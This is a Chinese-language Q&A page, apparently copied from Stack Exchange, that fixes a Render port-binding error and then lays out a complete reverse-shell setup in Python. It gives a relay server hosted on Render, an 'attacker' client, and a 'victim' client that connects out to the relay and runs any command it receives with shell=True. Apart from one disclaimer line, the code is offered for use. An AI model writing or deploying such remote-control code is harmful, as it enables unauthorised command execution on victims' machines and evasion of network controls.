Python Socket反向连接Render部署报错求助:Errno 99地址分配失败
问题解决:Render部署反向连接服务出现OSError: Errno 99及逻辑梳理
一、OSError: [Errno 99] 错误原因及修复
这个错误的核心是Render平台不允许硬编码端口或绑定非0.0.0.0的地址:
- Render会为每个服务动态分配端口,硬编码的端口(比如你代码里的10000)可能未被平台授权,导致无法绑定。
- 绑定地址必须设为
0.0.0.0,否则服务无法对外提供访问。
修复代码(针对部署到Render的服务):
# server.py 修改端口读取逻辑 import os import socket FORMAT = 'utf-8' HOST = '0.0.0.0' PORT = int(os.getenv("PORT", 10000)) # 本地测试用10000,Render自动读取平台分配的端口 server = socket.socket() server.bind((HOST, PORT)) # 后续代码保持不变
二、反向连接逻辑纠正
你需要明确:反向连接的核心是受害者端主动发起连接到攻击者端的监听地址。你的需求是“自己的电脑作为攻击者端控制远程受害者”,但如果你的电脑处于内网(无公网IP),受害者无法直接连接到你,这时候需要用Render做中转服务。
正确流程(Render中转方案)
- 在Render部署一个中转服务,同时接收攻击者和受害者的连接,转发命令与执行结果。
- 攻击者端(你的电脑)连接Render中转服务,发送控制命令。
- 受害者端连接Render中转服务,接收命令并返回执行结果。
中转服务代码(部署到Render)
import socket import threading import os HOST = '0.0.0.0' PORT = int(os.getenv("PORT", 8080)) # 存储攻击者和受害者的连接 attacker_conn = None victim_conn = None def relay_attacker_to_victim(conn): """转发攻击者的命令到受害者""" global victim_conn while True: try: cmd = conn.recv(1024) if not cmd: break if victim_conn: victim_conn.send(cmd) # 增大缓冲区避免输出截断 result = victim_conn.recv(4096) conn.send(result) except Exception as e: print(f"攻击者连接异常: {e}") break conn.close() global attacker_conn attacker_conn = None def relay_victim_to_attacker(conn): """转发受害者的执行结果到攻击者""" global attacker_conn while True: try: output = conn.recv(4096) if not output: break if attacker_conn: attacker_conn.send(output) except Exception as e: print(f"受害者连接异常: {e}") break conn.close() global victim_conn victim_conn = None # 启动中转服务 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((HOST, PORT)) server.listen(5) print(f"中转服务启动,监听端口 {PORT}") while True: conn, addr = server.accept() print(f"新连接: {addr}") # 简单区分连接角色(可自行添加验证逻辑) if not attacker_conn: attacker_conn = conn threading.Thread(target=relay_attacker_to_victim, args=(conn,)).start() print("标记为攻击者连接") elif not victim_conn: victim_conn = conn threading.Thread(target=relay_victim_to_attacker, args=(conn,)).start() print("标记为受害者连接") else: conn.send(b"服务已达最大连接数") conn.close()
攻击者端代码(本地运行)
import socket FORMAT = 'utf-8' RENDER_DOMAIN = '你的Render服务域名' # 比如 xxx.onrender.com RENDER_PORT = 80 # Render默认对外端口为80/443 client = socket.socket() client.connect((RENDER_DOMAIN, RENDER_PORT)) print("已连接到中转服务") while True: cmd = input('输入命令: ') if not cmd: continue client.send(cmd.encode(FORMAT, errors='ignore')) print("命令已发送") output = client.recv(4096).decode(FORMAT, errors='ignore') print(f"执行结果:\n{output}")
受害者端代码(目标机器运行)
import socket import subprocess FORMAT = 'utf-8' RENDER_DOMAIN = '你的Render服务域名' RENDER_PORT = 80 client = socket.socket() print("连接中转服务...") client.connect((RENDER_DOMAIN, RENDER_PORT)) print("连接成功") while True: cmd = client.recv(1024) if not cmd: break cmd_str = cmd.decode(FORMAT, errors='ignore') # 执行命令并捕获输出 proc = subprocess.Popen(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = proc.communicate() client.send(stdout + stderr)
三、额外注意事项
- Render的免费服务会在闲置15分钟后休眠,若需要持续可用,需升级付费套餐或添加保活机制。
- 确保Render服务的防火墙设置允许对应的端口访问(Render默认开放80/443,自定义端口需在控制台配置)。
- 不要用该代码进行未授权的远程控制,遵守法律法规。
内容的提问来源于stack exchange,提问作者SY DIE
相关产品推荐
相关产品推荐

